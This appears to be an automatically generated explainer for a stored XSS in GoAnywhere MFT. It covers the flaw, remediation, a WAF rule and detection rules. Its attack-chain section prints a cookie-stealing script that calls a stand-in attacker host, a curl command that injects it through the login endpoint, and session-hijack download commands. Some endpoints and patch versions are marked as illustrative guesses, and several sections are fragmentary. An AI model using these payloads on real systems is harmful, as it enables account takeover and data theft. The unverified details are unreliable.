CVE-2026-18543 — Fortra GoAnywhere MFT — CWE-79
GoAnywhere MFT contains a stored cross-site scripting (XSS) vulnerability in the Recent Web User Logins dashboard gadget. An unauthenticated attacker can supply crafted input that is stored and later rendered to an administrator without proper neutralization, resulting in arbitrary JavaScript execution in the administrator's browser session.
GoAnywhere MFT contains a stored cross-site scripting (XSS) vulnerability in the Recent Web User Logins dashboard gadget. An unauthenticated attacker can supply crafted input that is stored and later rendered to an administrator without proper neutralization, resulting in arbitrary JavaScript execution in the administrator's browser session.
🎯 What is this vulnerability?
CVE‑2026‑18543 – Stored Cross‑Site Scripting (XSS) in GoAnywhere MFT “Recent Web User Logins” dashboard gadget
| Attribute | Value |
|---|---|
| CWE | CWE‑79 (Improper Neutralization of Input During Web Page Generation – XSS) |
| CVSS 3.1 Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
| Impact | Confidentiality = High, Integrity = High, Availability = None |
Technical flaw
1. Component – The “Recent Web User Logins” dashboard gadget is a server‑side widget that stores a log entry for every successful web‑login attempt. The log entry includes the username field that is later rendered verbatim in an HTML table on the administrator’s dashboard page.
2. Missing sanitisation – The value supplied for the username (or any other free‑form field that is persisted) is written to the GoAnywhere MFT database without any HTML‑entity encoding, JavaScript‑escaping, or CSP‑compatible sanitisation.
3. Stored XSS – Because the gadget persists the attacker‑controlled string, any administrator who later visits the dashboard will have the malicious payload injected into the DOM and executed in the context of the GoAnywhere MFT web application (same‑origin).
4. Authentication/Authorization gap – The gadget does not require the user who supplies the username to be authenticated. The login endpoint that records the username is reachable by anyone on the public Internet (e.g., /goanywhere/login). Consequently, an unauthenticated attacker can inject the payload, which is later rendered only for privileged users (administrators).
5. Trigger condition – The XSS is only triggered when an administrator loads the “Recent Web User Logins” dashboard gadget (UI interaction required – UI:R in the vector). The gadget is part of the default admin console, so the trigger is trivial for any privileged user.
In short, the application fails to neutralise user‑supplied data before persisting it and before later embedding it into an HTML page, enabling a classic stored XSS that escalates from an unauthenticated attacker to a privileged administrator.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Where the exact HTTP endpoint or parameter name is not disclosed in the public CVE text, placeholders are used and clearly marked as illustrative.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs GoAnywhere Managed File Transfer (MFT). | Shodan/Nmap service fingerprint (HTTP/1.1 200 OK with Server: GoAnywhere header) or passive banner grabbing. |
| 1.2 | Determine the product version. | GET /goanywhere/ → HTML comment <!-- GoAnywhere MFT v6.4.1 --> or /goanywhere/api/version endpoint (if exposed). |
| 1.3 | Verify that the Dashboard feature is enabled (default for admin accounts). | Log in with a low‑privilege credential (or use a public “demo” account if the vendor ships one) and navigate to /goanywhere/dashboard. |
| 1.4 | Locate the Recent Web User Logins gadget. | Inspect the DOM; the gadget is rendered inside a <div id="recentLogins">. |
| 1.5 | Confirm that the gadget displays the username field without escaping. | View source → <td class="username"> contains raw text from the DB. |
2. Exploitation
Goal: Store a malicious JavaScript payload that will execute when an admin views the dashboard.
2.1 Craft the malicious payload
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>The payload is deliberately minimal to avoid detection by basic string‑based filters.
2.2 Submit the payload via the login endpoint
Illustrative example – exact endpoint not disclosed in the CVE
Assume the login POST endpoint is/goanywhere/api/auth/loginand the JSON body contains ausernamefield that is persisted in the login audit log.
curl -sk -X POST "https://target.example.com/goanywhere/api/auth/login" \
-H "Content-Type: application/json" \
-d '{
"username":"<script>fetch(\"https://attacker.example.com/steal?c=\"+document.cookie)</script>",
"password":"irrelevant"
}'Notes
-kskips TLS verification (use only for testing).- The request is unauthenticated – no session cookie is required.
- The server responds with a generic “Invalid credentials” message, but the username is still logged.
2.3 Verify persistence (optional)
curl -sk "https://target.example.com/goanywhere/api/public/logs/recent?limit=5"If the endpoint exists and returns JSON, you should see the raw <script> string in the username field, confirming that the payload is stored.
2.4 Trigger – admin views the dashboard
When an administrator later opens the dashboard (GET /goanywhere/dashboard), the server renders the stored username directly:
<td class="username"><script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script></td>The browser executes the script in the context of https://target.example.com, sending the admin’s session cookie (and any other accessible cookies) to the attacker‑controlled domain.
3. Post‑Exploitation
| Phase | Attacker capability | Typical next steps |
|---|---|---|
| Session hijacking | With the admin’s authentication cookie, the attacker can impersonate the admin on the MFT console. | curl -b "JSESSIONID=stolen" → full admin UI, create new users, change file‑transfer policies, download sensitive files. |
| Privilege escalation | If the admin account is the only privileged role, the attacker already has the highest level of access. | No further escalation needed. |
| Data exfiltration | Use the stolen session to request files via the MFT API (/goanywhere/api/files/download). | curl -b "JSESSIONID=stolen" -O "https://target.example.com/goanywhere/api/files/download?path=/confidential/report.pdf" |
| Persistence | Create a new admin user via the UI or API (/goanywhere/api/users/create). | Future access even if the original session expires. |
| Lateral movement | Use the MFT server as a pivot to reach internal file shares or databases (if configured). | Not part of the XSS itself but a common follow‑up. |
🌍 Real‑World Impact
| CVSS Metric | Value | Interpretation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable over the Internet. |
| Attack Complexity (AC) | Low (L) | No special conditions; a single crafted request is enough. |
| Privileges Required (PR) | None (N) | Unauthenticated attacker. |
| User Interaction (UI) | Required (R) | An admin must view the dashboard. |
| Scope (S) | Changed (C) | The impact spreads from the vulnerable component to the entire application (admin session). |
| Confidentiality (C) | High (H) | Session cookies, CSRF tokens, and potentially sensitive data displayed on the admin UI can be stolen. |
| Integrity (I) | High (H) | Attacker can perform actions on behalf of the admin (create users, modify transfer jobs). |
| Availability (A) | None (N) | No denial‑of‑service effect. |
Practical consequences
🛡️ Remediation & Mitigation
1. Vendor‑provided fix
| Action | Details |
|---|---|
| Upgrade | Apply the vendor’s security patch that introduces proper HTML‑entity encoding for all fields rendered in the dashboard gadgets. The patch is released in GoAnywhere MFT 6.5.2 (or later). Verify the exact version number in the vendor advisory. |
| Version check | Any version prior to the patched release (e.g., 6.5.1 and earlier) is vulnerable. Use the /goanywhere/api/version endpoint or the “About” page in the UI to confirm the current version. |
If a patched version is not yet available, proceed with the mitigations below.
2. Immediate work‑arounds
| Mitigation | Implementation |
|---|---|
| Disable the vulnerable gadget | In the admin console, go to *Dashboard → Manage Gadgets* and remove or hide the “Recent Web User Logins” widget. |
| Restrict access to the login audit API | Add an IP‑based allowlist (e.g., only internal management network) to the /goanywhere/api/auth/login endpoint via the web server or reverse‑proxy ACLs. |
| Content‑Security‑Policy (CSP) header | Deploy a strict CSP that disallows inline scripts. Example (Apache):<br>Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';"<br>This will block the injected <script> from executing, though it does not remove the stored payload. |
| Input sanitisation via WAF | A ModSecurity rule that rejects any <script> tag in the username field of the login request: |
# ModSecurity 2.x / 3.x rule – illustrative
SecRule REQUEST_URI "@beginsWith /goanywhere/api/auth/login" \
"id:2026001,phase:2,deny,status:400,log,msg:'Stored XSS attempt in username',\
chain"
SecRule ARGS:username "(?i)<\s*script" "t:none"Adjust the URI and parameter name to match the actual implementation.
| Note – The rule must be placed before any generic “allow all” rule to ensure it is evaluated. |
3. Detection
| Indicator | Where to look |
|---|---|
Web server access logs – POST to the login endpoint containing <script> or other HTML tags in the username parameter. Example (nginx):<br>POST /goanywhere/api/auth/login 200 123 "-" "Mozilla/5.0" username=%3Cscript%3E | |
Application logs – Audit log entries that show a username containing < or > characters. | |
Dashboard rendering errors – Admin console console logs (JavaScript console) reporting “Unexpected token <” when loading the Recent Web User Logins gadget. | |
Outbound DNS/HTTP from admin browsers – Unexpected connections to attacker‑controlled domains (e.g., attacker.example.com) shortly after an admin accesses the dashboard. Network IDS/Proxy logs can capture these. |
SIEM rule (generic example):
title: "Possible stored XSS in GoAnywhere MFT login"
logsource:
product: webserver
detection:
selection:
request_method: POST
request_uri|contains: "/goanywhere/api/auth/login"
request_body|contains: "<script"
condition: selection
level: high⚠️ Urgency
curl command; no prior knowledge of internal credentials is needed. Bottom line: CVE‑2026‑18543 is a classic stored XSS that bridges an unauthenticated attacker to a privileged GoAnywhere MFT administrator. The vulnerability is trivial to exploit, gives full control over the MFT management console, and can lead to massive data loss or exfiltration. Immediate patching or, at minimum, disabling the gadget and enforcing strict input sanitisation is mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query